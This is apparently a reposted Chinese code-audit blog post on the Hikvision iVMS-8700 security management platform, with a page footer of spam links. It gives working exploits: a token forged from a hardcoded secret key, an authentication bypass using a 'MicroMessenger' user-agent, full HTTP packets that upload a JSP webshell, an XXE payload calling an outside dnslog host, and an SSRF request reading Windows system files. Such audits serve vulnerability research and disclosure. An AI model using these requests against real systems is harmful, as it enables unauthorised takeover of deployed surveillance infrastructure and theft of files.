<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          iVMS-8700綜合安防管理平臺(tái)代碼審計(jì)

          共 5856字,需瀏覽 12分鐘

           ·

          2023-08-17 16:40

          前言

          群里有個(gè)師傅在問iVMS-8700綜合安防管理平臺(tái)的指紋信息,并且還說只是訪問一下/eps/api/resourceOperations/upload,很明顯,這里有個(gè)上傳

          本來18號(hào)就想著寫出來的,才打完攻防,累,也就拖到了今天才寫

          9e2987fb84a27d11950a408fd02f4cb7.webp

          f553b315a295e5f2de0ae7f3e548f2f1.webp

          復(fù)現(xiàn)

          最開始訪問該接口的時(shí)候,會(huì)提示 token empty

          10cd584740a49de0148b48fac23c5868.webp

          添加 token 后,會(huì)提示 token invalid

          9ebe2946c10aaa3eb317e68c604c650e.webp

          有點(diǎn)意思

          于是找該師傅白嫖了poc

          9cfd44288324d843e2d930faf5bfc935.webp

          此時(shí)也就知道了該token的生成規(guī)則

          即當(dāng)你訪問 http://x.x.x.x/eps/api/resourceOperations/upload時(shí),token=md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding"),生成的hash值,字母要轉(zhuǎn)大寫


          代碼審計(jì)

          此時(shí)就有點(diǎn)好奇,為什么要對(duì) http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding 進(jìn)行 md5 加密,為什么直接訪問 http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding 404 ,這些都是我的疑問。

          首先這里要分析的應(yīng)用是 eps ,即 eps.war 文件

          7513f2b29ddd449a721f8e4d243feba4.webp

          通過之前編寫的一個(gè)獲取 spring 所有 controller 的腳本,知道了該 controller 對(duì)應(yīng)的類: com.hikvision.cms.eps.biz.operation.action.ResourceOperationAction

          fa4f70a2184e26e5298e7f7384a29588.webp

          此時(shí)發(fā)現(xiàn),具體上傳功能是在 this.resourceOperationService.uploadResourceOperation 這里實(shí)現(xiàn),即 ResourceOperationService 類下的 uploadResourceOperation 方法。

          a8aa2c5dff698de3445dbe24ca7b9d26.webp

          uploadResourceOperation 方法里,先調(diào)用了 FileUtils 里的 uploadFile 方法

          3de8747cabd61a03ac91170117cf2e72.webp

          uploadFile 里,獲取文件后綴后( fileSuffix ),該后綴與 uuid 直接拼接

          b121d95eb2cc43f1b261fcc5e2c50a83.webp

          tmpPath 的值是 /upload/{uuid}.jsp

          a759ab3946b17cc49e59214f975f4960.webp

          最后通過MultipartFile里的transferTo方法將該文件成功傳到服務(wù)器上

          回到ResourceOperationService類下的uploadResourceOperation方法中,此時(shí)頁面回顯resourceUuid的值時(shí),也就是保存在服務(wù)器上的文件名

          99b44bf8cc7c16df1d1de6017f6a2f3f.webp

          0e209f5c19cb13d07b6c9616c55b2e09.webp

          數(shù)據(jù)包:

                
                POST /eps/api/resourceOperations/upload?token=xxxx HTTP/1.1
          Host: x.x.x.x
          Pragma: no-cache
          Cache-Control: no-cache
          Upgrade-Insecure-Requests: 1
          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
          Connection: close
          Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrHmpzTSMsQVHSzYI
          Content-Length: 161

          ------WebKitFormBoundaryrHmpzTSMsQVHSzYI
          Content-Disposition: form-data; name="fileUploader";filename="1.jsp"

          webshell
          ------WebKitFormBoundaryrHmpzTSMsQVHSzYI--

          此時(shí)發(fā)現(xiàn)在上傳過程中,沒有 token 的參與,因此也就可能是攔截器 Interceptor 或者過濾器 Filter 在起作用

          攔截器

          web.xml

          e0a33ffc5006ff9bc6d13e1fab79c739.webp

          springmvc處理的路由有兩種情況,分別是以/api/為開始或者是以.action為結(jié)束

          這兩種都被org.springframework.web.servlet.DispatcherServlet來處理,此處是有springmvc的配置文件springmvc-servlet.xml,也就點(diǎn)進(jìn)去看看

          springmvc-servlet.xml中,有三個(gè)攔截器:

                
                com.hikvision.cms.common.web.interceptor.HttpServiceRequestInterceptor
          com.hikvision.cms.common.web.interceptor.HttpServletResponseInterceptor
          com.hikvision.cms.common.web.interceptor.LicenseAuthInterceptor

          很明顯,第一個(gè)攔截器是最有可能存在 token 相關(guān)規(guī)則的(因?yàn)榇颂幋嬖跈?quán)限認(rèn)證的 key ,即 secretKeyIbuilding

          f624b41a295c9a70afe46f83cf437103.webp

          該攔截器的具體代碼如下

          33575b447ffba786d04ccbebe2c63975.webp

          先判斷HttpRequestUtils.requestUriStartWithApi(request)HttpRequestUtils.requestUriEndWithService(request)的值是否為true

          由于這里分析的是/api/resourceOperations/upload,因此是true,進(jìn)入if邏輯

          2c246ebbd9590651de469ff7c6c00b19.webp

          判斷 this.mustAuthPermission() 的值是否是 true ,由于 authPermission 的默認(rèn)值是 1 ,即 "1".equals(this.getAuthPermission()) true ,因此 this.mustAuthPermission() true

          5946f43a11cb00df29b6525193f8213a.webp

          然后獲取 token 參數(shù)的值,判斷該值和 MD5Util.md5(targetUrl + this.secretKey) 的值是否相等,即:

                
                MD5Util.md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding")
              

          因此我們傳入的 token 值是:

                
                MD5Util.md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding")

          最后該攔截器的返回值是 true (最后一個(gè) if 邏輯不影響返回值,且只和頁面回顯的數(shù)據(jù)格式有關(guān),也就不分析)也就成功的繞過了 token 的限制

          過濾器

          可以看見,該過濾器沒啥好分析的。

          a05ae4a81ac8f52ccb9c0c7890809818.webp


          不需要token上傳(需要偽造參數(shù))

          通過上面分析可知,springmvc是可以處理.action的路由的,并且HttpServiceRequestInterceptor攔截器是只對(duì)/api/有效的

          .action的過濾器在web.xml里面聲明了,是由CASFilter來處理,即:com.hikvision.cms.common.web.cas.ExtAuthenticationFilter

          42c5fbabc777c0a5d603f7efadc84853.webp

          此時(shí)應(yīng)關(guān)注 HttpRequestUtils.requestComeFromWeChatClient(request) 的邏輯值

          f264a99ff2c3896292145fcedf793bf3.webp

          此時(shí)可以看見,當(dāng)請(qǐng)求頭中的 user-agent=MicroMessenger 時(shí),即可走 filterChain.doFilter(servletRequest,servletResponse); 的邏輯,也就能夠正常上傳了

          62146d98a88663026d0baaddd9ac2e33.webp

          不加 user-agent=MicroMessenger 時(shí),可以看見會(huì)被重定向

          b3898e00fe05c05f7faad15cdc63d72e.webp

          添加 user-agent=MicroMessenger 時(shí),上傳成功

          f50d081b5b5fc19001101f6309574c37.webp

          最后的數(shù)據(jù)包:

                
                POST /eps/resourceOperations/upload.action HTTP/1.1
          Host: x.x.x.x
          Pragma: no-cache
          Cache-Control: no-cache
          Upgrade-Insecure-Requests: 1
          user-agent: MicroMessenger
          Connection: close
          Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrHmpzTSMsQVHSzYI
          Content-Length: 163

          ------WebKitFormBoundaryrHmpzTSMsQVHSzYI
          Content-Disposition: form-data; name="fileUploader";filename="1.jsp"

          111
          ------WebKitFormBoundaryrHmpzTSMsQVHSzYI--

          其他漏洞

          其他漏洞倒是沒怎么看,就發(fā)現(xiàn)了一個(gè) XXE SSRF ,也就沒深入了,不過也都是垃圾洞了


          XXE審計(jì)

          漏洞點(diǎn): com.hikvision.cms.acs.api.http.action.HttpBlackDownloadAction

          4db1d982f4766743304c36ac729ab6d5.webp

          非常經(jīng)典的 XXE 漏洞模板代碼,可惜只能打個(gè) dnslog

          2928c83329c295d8e17c003a6cefe082.webp

                
                POST /acs/api/serviceApi/blackDownload/downloadBlackCallBack?token=xxx HTTP/1.1
          Host: x.x.x.x
          Content-Type: application/x-www-form-urlencoded
          Content-Length: 471

          deviceIndexCode=1&xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22ISO-8859-1%22%20%3F%3E%0A%20%20%20%20%20%20%20%20%3C%21DOCTYPE%20example%20%5B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21ELEMENT%20example%20ANY%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21ENTITY%20file%20SYSTEM%20%22http%3A%2F%2F12345.33548593.ipv6.1433.eu.org%22%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5D%3E%0A%3Cexample%3E%26file%3B%3C%2Fexample%3E

          (注: dnslog 日志是 18號(hào) 的,截圖也是 18號(hào) 的)

          04fcd244961a5f90348f3c3385476025.webp

          774feb6104db0797b83fb14f2294ccc3.webp


          SSRF審計(jì)

          漏洞點(diǎn):com.hikvision.cms.eps.biz.trigger.action.TriggerAction

          沒啥好分析的,一眼看出

          7a4f595bb24f3f74f00416c3521640e6.webp

          Exp:

                
                /eps/api/triggerSnapshot/download?token=xxx&fileUrl=file:///C:/windows/win.ini&fileName=1

          直接通過 file 協(xié)議讀取文件

          3bfc7627668ea1de6fd8036e10f5ba9d.webp

          也能修改成其他協(xié)議,比如 ftp http 、 https jar 、 mailto 、 netdoc gopher ,但 gopher 默認(rèn)是禁用的,這部分的邏輯可以在 rt.jar 中審計(jì),也沒啥好說的,因?yàn)橹耙卜治鲞^


          總結(jié)

          分析完了后,感覺漏洞也沒啥,也就是基礎(chǔ)洞,正常分析就能找到。

          原文鏈接:https://jdr2021.github.io/2023/05/22/iVMS-8700%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/
          瀏覽 154
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          評(píng)論
          圖片
          表情
          推薦
          點(diǎn)贊
          評(píng)論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報(bào)
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  日逼网站国产 | 特级少妇 | 婷婷五月在线 | 国产操逼视频免费 | 日本一区高清 |